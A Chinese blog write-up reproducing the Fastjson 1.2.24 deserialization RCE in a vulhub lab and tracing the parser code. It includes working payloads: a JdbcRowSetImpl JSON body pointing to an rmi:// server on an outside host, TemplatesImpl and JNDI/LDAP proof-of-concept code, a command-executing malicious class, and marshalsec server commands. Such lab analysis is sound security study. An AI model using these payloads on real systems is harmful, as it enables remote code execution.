Fastjson1.2.24反序列化漏洞

友情提示:本文最后更新于 163 天前,文中的内容可能已有所发展或发生改变。

版本限制为 <= 1.2.24 即可。

漏洞复现

使用vulhub,进行环境搭建

cd vulhub/fastjson/1.2.24-rce
docker compose up -d

访问 8090 端口服务,开启恶意服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/baozongwi" -A "154.36.152.109"

发送数据包

POST / HTTP/1.1
Host: 154.36.152.109:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Cookie: JSESSIONID.b1f176ee=node014bva1kp2vq14rv5nqb9eyg0x0.node0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/json

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://154.36.152.109:1099/axpxbe",
        "autoCommit":true
    }
}

成功在tmp目录下创建文件

img

漏洞分析

了解

搭建环境进行本地的漏洞分析,jdk8u66,pom.xml 如下

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <fastjson.version>1.2.24</fastjson.version>
        <javassist.version>3.28.0-GA</javassist.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>${fastjson.version}</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>${javassist.version}</version>
        </dependency>
    </dependencies>
</project>

先创建一个普通的User类,方便了解FJ的序列化和反序列化机制

package org.Base;

public class User {
    private String name;
    private int id;

    public User(){
        System.out.println("无参构造");
    }

    public User(String name, int id) {
        System.out.println("有参构造");
        this.name = name;
        this.id = id;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", id=" + id +
                '}';
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public int getId() {
        System.out.println("getId");
        return id;
    }
    
    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public void setId(int id) {
        System.out.println("setId");
        this.id = id;
    }
}

使用JSON.toJSONString来转换对象,

package org.Base;

import com.alibaba.fastjson.JSON;

public class FastjsonTest1 {
    public static void main(String[] args) {
        User user = new User("baozongwi",1);
        String json = JSON.toJSONString(user);
        System.out.println(json);
    }
}

发现是可以转换成 json 字符串的,但是这里转换的只有属性的值,不包含类名,所以就不知道是哪个类进行的反序列化。

img

因此,就有了@type关键字标识的这个字符串是由哪个类序列化而来,在JSON.toJSONString的第二个参数SerializerFeature.WriteClassName会写下这个类的名字

img

而反序列化呢,有两个方法 parseObject 和 parse,跟进到最后都是到了

public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        } else {
            DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
            Object value = parser.parse();
            parser.handleResovleTask(value);
            parser.close();
            return value;
        }
    }

若 JSON 有 @type 字段(如"@type":"com.example.User"):调用ParserConfig.checkAutoType()检查类是否允许加载。通过反射实例化目标类(可能触发静态代码块/构造方法)。我猜,这里也就是反序列化利用点了,写个 demo 更方便理解解析差异

package org.Base;

import com.alibaba.fastjson.JSON;

public class FastjsonTest3 {
    public static void main(String[] args) {
        String json1 = "{\"@type\":\"org.Base.User\",\"id\":1,\"name\":\"baozongwi\"}";
        String json2 = "{\"id\":1,\"name\":\"baozongwi\"}";

        System.out.println(JSON.parseObject(json1));
        System.out.println("\n");
        System.out.println(JSON.parseObject(json1,User.class));
        System.out.println("\n");
        System.out.println(JSON.parseObject(json2, User.class));
        System.out.println("\n");
        System.out.println(JSON.parseObject(json2));
        System.out.println("\n");
        System.out.println(JSON.parse(json1));
        System.out.println("\n");
        System.out.println(JSON.parse(json2));
        System.out.println("\n");
    }
}
  • 使用JSON.parseObject方法在第二个参数指定是哪个类就可以反序列化成功,但是在字符串中使用@type:org.Base.User指定类会调用此类的 getter 和 setter 方法,但是会转化为JSONObject对象。
  • 使用JSON.parse方法无法在第二个参数中指定某个反序列化的类,它识别的是@type后指定的类

可以看到凡是反序列化成功的都调用了 setter 方法,那如果在 setter 方法中加入恶意代码呢

img

TemplatesImpl

恶意类如下

package org.Base;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Eval extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {}
}

Fastjson 默认只会反序列化 public 修饰的属性反序列化的时候需要给 parseObject\parse 的第二个参数赋值为 Feature.SupportNonPublicField 通过它才能操作私有字段。

还是看到 parse 方法

public static Object parse(String text, int features) {
    if (text == null) {
        return null;
    } else {
        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
        Object value = parser.parse();
        parser.handleResovleTask(value);
        parser.close();
        return value;
    }
}

跟进 DefaultJSONParser,我们是传入的 Object,所以看到这里

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
    this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
    this.contextArrayIndex = 0;
    this.resolveStatus = 0;
    this.extraTypeProviders = null;
    this.extraProcessors = null;
    this.fieldTypeResolver = null;
    this.lexer = lexer;
    this.input = input;
    this.config = config;
    this.symbolTable = config.symbolTable;
    int ch = lexer.getCurrent();
    if (ch == 123) {
        lexer.next();
        ((JSONLexerBase)lexer).token = 12;
    } else if (ch == 91) {
        lexer.next();
        ((JSONLexerBase)lexer).token = 14;
    } else {
        lexer.nextToken();
    }

}

负责解析 json 字符,如果为{则赋值 token 为12,标记为 JSON 对象开始,如果是[赋值 token 为 14,标记为 JSON 数组开始。跟出,跟进到 parse

public Object parse(Object fieldName) {
    JSONLexer lexer = this.lexer;
    switch (lexer.token()) {
        case 1:
        case 5:
        case 10:
        case 11:
        case 13:
        case 15:
        case 16:
        case 17:
        case 18:
        case 19:
        default:
            throw new JSONException("syntax error, " + lexer.info());
        case 2:
            Number intValue = lexer.integerValue();
            lexer.nextToken();
            return intValue;
        case 3:
            Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
            lexer.nextToken();
            return value;
        case 4:
            String stringLiteral = lexer.stringVal();
            lexer.nextToken(16);
            if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
                JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);

                Date var11;
                try {
                    if (!iso8601Lexer.scanISO8601DateIfMatch()) {
                        return stringLiteral;
                    }

                    var11 = iso8601Lexer.getCalendar().getTime();
                } finally {
                    iso8601Lexer.close();
                }

                return var11;
            }

            return stringLiteral;
        case 6:
            lexer.nextToken();
            return Boolean.TRUE;
        case 7:
            lexer.nextToken();
            return Boolean.FALSE;
        case 8:
            lexer.nextToken();
            return null;
        case 9:
            lexer.nextToken(18);
            if (lexer.token() != 18) {
                throw new JSONException("syntax error");
            }

            lexer.nextToken(10);
            this.accept(10);
            long time = lexer.integerValue().longValue();
            this.accept(2);
            this.accept(11);
            return new Date(time);
        case 12:
            JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
            return this.parseObject((Map)object, fieldName);
        case 14:
            JSONArray array = new JSONArray();
            this.parseArray(array, (Object)fieldName);
            if (lexer.isEnabled(Feature.UseObjectArray)) {
                return array.toArray();
            }

            return array;
        case 20:
            if (lexer.isBlankInput()) {
                return null;
            }

            throw new JSONException("unterminated json string, " + lexer.info());
        case 21:
            lexer.nextToken();
            HashSet<Object> set = new HashSet();
            this.parseArray(set, (Object)fieldName);
            return set;
        case 22:
            lexer.nextToken();
            TreeSet<Object> treeSet = new TreeSet();
            this.parseArray(treeSet, (Object)fieldName);
            return treeSet;
        case 23:
            lexer.nextToken();
            return null;
    }

会到

img

负责解析键值对,跟进 parseObject 方法

public final Object parseObject(Map object, Object fieldName) {
        JSONLexer lexer = this.lexer;
        if (lexer.token() == 8) {
            lexer.nextToken();
            return null;
        } else if (lexer.token() == 13) {
            lexer.nextToken();
            return object;
        } else if (lexer.token() != 12 && lexer.token() != 16) {
            throw new JSONException("syntax error, expect {, actual " + lexer.tokenName() + ", " + lexer.info());
        } else {
            ParseContext context = this.context;

            try {
                boolean setContextFlag = false;

                while(true) {
                    lexer.skipWhitespace();
                    char ch = lexer.getCurrent();
                    if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
                        while(ch == ',') {
                            lexer.next();
                            lexer.skipWhitespace();
                            ch = lexer.getCurrent();
                        }
                    }

                    boolean isObjectKey = false;
                    Object key;
                    if (ch == '"') {
                        key = lexer.scanSymbol(this.symbolTable, '"');
                        lexer.skipWhitespace();
                        ch = lexer.getCurrent();
                        if (ch != ':') {
                            throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
                        }
                    } else {
                        if (ch == '}') {
                            lexer.next();
                            lexer.resetStringPosition();
                            lexer.nextToken();
                            if (!setContextFlag) {
                                if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
                                    context = this.context;
                                } else {
                                    ParseContext contextR = this.setContext(object, fieldName);
                                    if (context == null) {
                                        context = contextR;
                                    }

                                    setContextFlag = true;
                                }
                            }

                            Map var38 = object;
                            return var38;
                        }

                        if (ch == '\'') {
                            if (!lexer.isEnabled(Feature.AllowSingleQuotes)) {
                                throw new JSONException("syntax error");
                            }

                            key = lexer.scanSymbol(this.symbolTable, '\'');
                            lexer.skipWhitespace();
                            ch = lexer.getCurrent();
                            if (ch != ':') {
                                throw new JSONException("expect ':' at " + lexer.pos());
                            }
                        } else {
                            if (ch == 26) {
                                throw new JSONException("syntax error");
                            }

                            if (ch == ',') {
                                throw new JSONException("syntax error");
                            }

                            if ((ch < '0' || ch > '9') && ch != '-') {
                                if (ch != '{' && ch != '[') {
                                    if (!lexer.isEnabled(Feature.AllowUnQuotedFieldNames)) {
                                        throw new JSONException("syntax error");
                                    }

                                    key = lexer.scanSymbolUnQuoted(this.symbolTable);
                                    lexer.skipWhitespace();
                                    ch = lexer.getCurrent();
                                    if (ch != ':') {
                                        throw new JSONException("expect ':' at " + lexer.pos() + ", actual " + ch);
                                    }
                                } else {
                                    lexer.nextToken();
                                    key = this.parse();
                                    isObjectKey = true;
                                }
                            } else {
                                lexer.resetStringPosition();
                                lexer.scanNumber();

                                try {
                                    if (lexer.token() == 2) {
                                        key = lexer.integerValue();
                                    } else {
                                        key = lexer.decimalValue(true);
                                    }
                                } catch (NumberFormatException var22) {
                                    throw new JSONException("parse number key error" + lexer.info());
                                }

                                ch = lexer.getCurrent();
                                if (ch != ':') {
                                    throw new JSONException("parse number key error" + lexer.info());
                                }
                            }
                        }
                    }

                    if (!isObjectKey) {
                        lexer.next();
                        lexer.skipWhitespace();
                    }

                    ch = lexer.getCurrent();
                    lexer.resetStringPosition();
                    if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                        String typeName = lexer.scanSymbol(this.symbolTable, '"');
                        Class<?> clazz = TypeUtils.loadClass(typeName, this.config.getDefaultClassLoader());
                        if (clazz != null) {
                            lexer.nextToken(16);
                            if (lexer.token() == 13) {
                                lexer.nextToken(16);

                                try {
                                    Object instance = null;
                                    ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
                                    if (deserializer instanceof JavaBeanDeserializer) {
                                        instance = ((JavaBeanDeserializer)deserializer).createInstance(this, clazz);
                                    }

                                    if (instance == null) {
                                        if (clazz == Cloneable.class) {
                                            instance = new HashMap();
                                        } else if ("java.util.Collections$EmptyMap".equals(typeName)) {
                                            instance = Collections.emptyMap();
                                        } else {
                                            instance = clazz.newInstance();
                                        }
                                    }

                                    Object var57 = instance;
                                    return var57;
                                } catch (Exception e) {
                                    throw new JSONException("create instance error", e);
                                }
                            }

                            this.setResolveStatus(2);
                            if (this.context != null && !(fieldName instanceof Integer)) {
                                this.popContext();
                            }

                            if (object.size() > 0) {
                                Object newObj = TypeUtils.cast(object, clazz, this.config);
                                this.parseObject(newObj);
                                Object var55 = newObj;
                                return var55;
                            }

                            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
                            Object var54 = deserializer.deserialze(this, clazz, fieldName);
                            return var54;
                        }

                        object.put(JSON.DEFAULT_TYPE_KEY, typeName);
                    } else {
                        if (key == "$ref" && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                            lexer.nextToken(4);
                            if (lexer.token() != 4) {
                                throw new JSONException("illegal ref, " + JSONToken.name(lexer.token()));
                            }

                            String ref = lexer.stringVal();
                            lexer.nextToken(13);
                            Object refValue = null;
                            if ("@".equals(ref)) {
                                if (this.context != null) {
                                    ParseContext thisContext = this.context;
                                    Object thisObj = thisContext.object;
                                    if (!(thisObj instanceof Object[]) && !(thisObj instanceof Collection)) {
                                        if (thisContext.parent != null) {
                                            refValue = thisContext.parent.object;
                                        }
                                    } else {
                                        refValue = thisObj;
                                    }
                                }
                            } else if ("..".equals(ref)) {
                                if (context.object != null) {
                                    refValue = context.object;
                                } else {
                                    this.addResolveTask(new ResolveTask(context, ref));
                                    this.setResolveStatus(1);
                                }
                            } else if ("$".equals(ref)) {
                                ParseContext rootContext;
                                for(rootContext = context; rootContext.parent != null; rootContext = rootContext.parent) {
                                }

                                if (rootContext.object != null) {
                                    refValue = rootContext.object;
                                } else {
                                    this.addResolveTask(new ResolveTask(rootContext, ref));
                                    this.setResolveStatus(1);
                                }
                            } else {
                                this.addResolveTask(new ResolveTask(context, ref));
                                this.setResolveStatus(1);
                            }

                            if (lexer.token() != 13) {
                                throw new JSONException("syntax error");
                            }

                            lexer.nextToken(16);
                            Object rootContext = refValue;
                            return rootContext;
                        }

                        if (!setContextFlag) {
                            if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
                                context = this.context;
                            } else {
                                ParseContext contextR = this.setContext(object, fieldName);
                                if (context == null) {
                                    context = contextR;
                                }

                                setContextFlag = true;
                            }
                        }

                        if (object.getClass() == JSONObject.class) {
                            key = key == null ? "null" : key.toString();
                        }

                        Object value;
                        if (ch == '"') {
                            lexer.scanString();
                            String strValue = lexer.stringVal();
                            value = strValue;
                            if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
                                JSONScanner iso8601Lexer = new JSONScanner(strValue);
                                if (iso8601Lexer.scanISO8601DateIfMatch()) {
                                    value = iso8601Lexer.getCalendar().getTime();
                                }

                                iso8601Lexer.close();
                            }

                            object.put(key, value);
                        } else {
                            if ((ch < '0' || ch > '9') && ch != '-') {
                                if (ch == '[') {
                                    lexer.nextToken();
                                    JSONArray list = new JSONArray();
                                    if (fieldName != null && fieldName.getClass() == Integer.class) {
                                        boolean var59 = true;
                                    } else {
                                        boolean var10000 = false;
                                    }

                                    if (fieldName == null) {
                                        this.setContext(context);
                                    }

                                    this.parseArray(list, (Object)key);
                                    if (lexer.isEnabled(Feature.UseObjectArray)) {
                                        value = list.toArray();
                                    } else {
                                        value = list;
                                    }

                                    object.put(key, value);
                                    if (lexer.token() == 13) {
                                        lexer.nextToken();
                                        Map var52 = object;
                                        return var52;
                                    }

                                    if (lexer.token() != 16) {
                                        throw new JSONException("syntax error");
                                    }
                                    continue;
                                }

                                if (ch != '{') {
                                    lexer.nextToken();
                                    value = this.parse();
                                    if (object.getClass() == JSONObject.class) {
                                        key = key.toString();
                                    }

                                    object.put(key, value);
                                    if (lexer.token() == 13) {
                                        lexer.nextToken();
                                        Map list = object;
                                        return list;
                                    }

                                    if (lexer.token() != 16) {
                                        throw new JSONException("syntax error, position at " + lexer.pos() + ", name " + key);
                                    }
                                    continue;
                                }

                                lexer.nextToken();
                                boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;
                                JSONObject input = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                                ParseContext ctxLocal = null;
                                if (!parentIsArray) {
                                    ctxLocal = this.setContext(context, input, key);
                                }

                                Object obj = null;
                                boolean objParsed = false;
                                if (this.fieldTypeResolver != null) {
                                    String resolveFieldName = key != null ? key.toString() : null;
                                    Type fieldType = this.fieldTypeResolver.resolve(object, resolveFieldName);
                                    if (fieldType != null) {
                                        ObjectDeserializer fieldDeser = this.config.getDeserializer(fieldType);
                                        obj = fieldDeser.deserialze(this, fieldType, key);
                                        objParsed = true;
                                    }
                                }

                                if (!objParsed) {
                                    obj = this.parseObject((Map)input, key);
                                }

                                if (ctxLocal != null && input != obj) {
                                    ctxLocal.object = object;
                                }

                                this.checkMapResolve(object, key.toString());
                                if (object.getClass() == JSONObject.class) {
                                    object.put(key.toString(), obj);
                                } else {
                                    object.put(key, obj);
                                }

                                if (parentIsArray) {
                                    this.setContext(obj, key);
                                }

                                if (lexer.token() == 13) {
                                    lexer.nextToken();
                                    this.setContext(context);
                                    Map var58 = object;
                                    return var58;
                                }

                                if (lexer.token() != 16) {
                                    throw new JSONException("syntax error, " + lexer.tokenName());
                                }

                                if (parentIsArray) {
                                    this.popContext();
                                } else {
                                    this.setContext(context);
                                }
                                continue;
                            }

                            lexer.scanNumber();
                            if (lexer.token() == 2) {
                                value = lexer.integerValue();
                            } else {
                                value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
                            }

                            object.put(key, value);
                        }

                        lexer.skipWhitespace();
                        ch = lexer.getCurrent();
                        if (ch != ',') {
                            if (ch != '}') {
                                throw new JSONException("syntax error, position at " + lexer.pos() + ", name " + key);
                            }

                            lexer.next();
                            lexer.resetStringPosition();
                            lexer.nextToken();
                            this.setContext(value, key);
                            Map refValue = object;
                            return refValue;
                        }

                        lexer.next();
                    }
                }
            } finally {
                this.setContext(context);
            }
        }
    }

很长,不过我们只需要注意两个地方

img

解析 key,还有就是如果解析到@type

img

他会反射加载类,也就是 AutoType 的实现,到了这里我认为基本的静态分析 gadget 就结束了。我们使用 TemplatesImpl 构造,会触发其 getter 方法,也就是 getOutputProperties 然后触发 newTransformer。

写出poc

package org.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import javassist.ClassPool;

public class TestPoc {
    public static void main(String[] args) throws Exception {
        byte[] bytecodes = ClassPool.getDefault().get(org.Base.Eval.class.getName()).toBytecode();

        String base64Bytecodes = java.util.Base64.getEncoder().encodeToString(bytecodes);

        String payload = String.format(
                "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                        "\"_name\":\"\"," +
                        "\"_tfactory\":{}," +
                        "\"_bytecodes\":[\"%s\"]",
                base64Bytecodes
        );
        JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}

开始调试

at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:60)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:83)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:773)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:600)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:188)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:193)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:197)
at TestPoc.main(TestPoc.java:18)

跟到这里的时候我看到了method.invoke(object, value);但是没能成功到这个点

public void setValue(Object object, Object value) {
    if (value != null || !this.fieldInfo.fieldClass.isPrimitive()) {
        try {
            Method method = this.fieldInfo.method;
            if (method != null) {
                if (this.fieldInfo.getOnly) {
                    if (this.fieldInfo.fieldClass == AtomicInteger.class) {
                        AtomicInteger atomic = (AtomicInteger)method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicInteger)value).get());
                        }
                    } else if (this.fieldInfo.fieldClass == AtomicLong.class) {
                        AtomicLong atomic = (AtomicLong)method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicLong)value).get());
                        }
                    } else if (this.fieldInfo.fieldClass == AtomicBoolean.class) {
                        AtomicBoolean atomic = (AtomicBoolean)method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicBoolean)value).get());
                        }
                    } else if (Map.class.isAssignableFrom(method.getReturnType())) {
                        Map map = (Map)method.invoke(object);
                        if (map != null) {
                            map.putAll((Map)value);
                        }
                    } else {
                        Collection collection = (Collection)method.invoke(object);
                        if (collection != null) {
                            collection.addAll((Collection)value);
                        }
                    }
                } else {
                    method.invoke(object, value);
                }

            } else {
                Field field = this.fieldInfo.field;
                if (this.fieldInfo.getOnly) {
                    if (this.fieldInfo.fieldClass == AtomicInteger.class) {
                        AtomicInteger atomic = (AtomicInteger)field.get(object);
                        if (atomic != null) {
                            atomic.set(((AtomicInteger)value).get());
                        }
                    } else if (this.fieldInfo.fieldClass == AtomicLong.class) {
                        AtomicLong atomic = (AtomicLong)field.get(object);
                        if (atomic != null) {
                            atomic.set(((AtomicLong)value).get());
                        }
                    } else if (this.fieldInfo.fieldClass == AtomicBoolean.class) {
                        AtomicBoolean atomic = (AtomicBoolean)field.get(object);
                        if (atomic != null) {
                            atomic.set(((AtomicBoolean)value).get());
                        }
                    } else if (Map.class.isAssignableFrom(this.fieldInfo.fieldClass)) {
                        Map map = (Map)field.get(object);
                        if (map != null) {
                            map.putAll((Map)value);
                        }
                    } else {
                        Collection collection = (Collection)field.get(object);
                        if (collection != null) {
                            collection.addAll((Collection)value);
                        }
                    }
                } else if (field != null) {
                    field.set(object, value);
                }

            }
        } catch (Exception e) {
            throw new JSONException("set property error, " + this.fieldInfo.name, e);
        }
    }
}

进行方法调用,先不管他会用哪个method.invoke(object, value);,我现在需要他进入条件语句if (method != null) { if (this.fieldInfo.getOnly) { } },但是我写的poc只有属性,并没有方法,详细看代码,他会根据方法名自发的调用 getter 方法,所以需要加_outputProperties,最终 poc 如下

package org.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import javassist.ClassPool;

public class TemplatesImplPoc {
    public static void main(String[] args) throws Exception {
        byte[] bytecodes = ClassPool.getDefault().get(org.Base.Eval.class.getName()).toBytecode();

        String base64Bytecodes = java.util.Base64.getEncoder().encodeToString(bytecodes);

        String payload = String.format(
                "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                        "\"_name\":\"\"," +
                        "\"_tfactory\":{}," +
                        "\"_bytecodes\":[\"%s\"]," +
                        "\"_outputProperties\":{}}",
                base64Bytecodes
        );
        JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}

img

调用栈如下

at org.Base.Eval.<init>(Eval.java:11)
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at java.lang.Class.newInstance(Class.java:442)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:455)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:85)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:83)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:773)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:600)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:188)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:193)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:197)
at TemplatesImplPoc.main(TemplatesImplPoc.java:19)

JdbcRowSetImpl

JdbcRowSetImpl 这里调用的就不是 getter 方法了,而是 setter 方法,为什么呢?首先 dataSource 肯定要有,我们进入到 JdbcRowSetImpl 类发现,既有setter 方法又有 getter 方法,这种情况是优先 setter 也就是直接

img

那回到 JdbcRowSetImpl 类我们看看如何进行注入的

public void setDataSourceName(String var1) throws SQLException {
    if (this.getDataSourceName() != null) {
        if (!this.getDataSourceName().equals(var1)) {
            super.setDataSourceName(var1);
            this.conn = null;
            this.ps = null;
            this.rs = null;
        }
    } else {
        super.setDataSourceName(var1);
    }

}

跟进下

public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

        URL = null;
    }

发现就是赋值 url,那我们现在还需要找一个能够触发 connect 的 setter方法,发现了 setAutoCommit

public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

赋值的话无所谓,都会到 connect,直接给出poc

package org.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class JdbcRowSetImplPOC {
    public static void main(String[] args) {
        String payload = String.format(
                "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                    "\"dataSourceName\":\"ldap://127.0.0.1:1389/#Eval\"," +
                    "\"autoCommit\":true}"
        );

        JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}

开启恶意服务

javac Eval.java
python3 -m http.server 9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:9999/#Eval"

img

调用栈如下

at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1092)
at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:624)
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source:-1)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
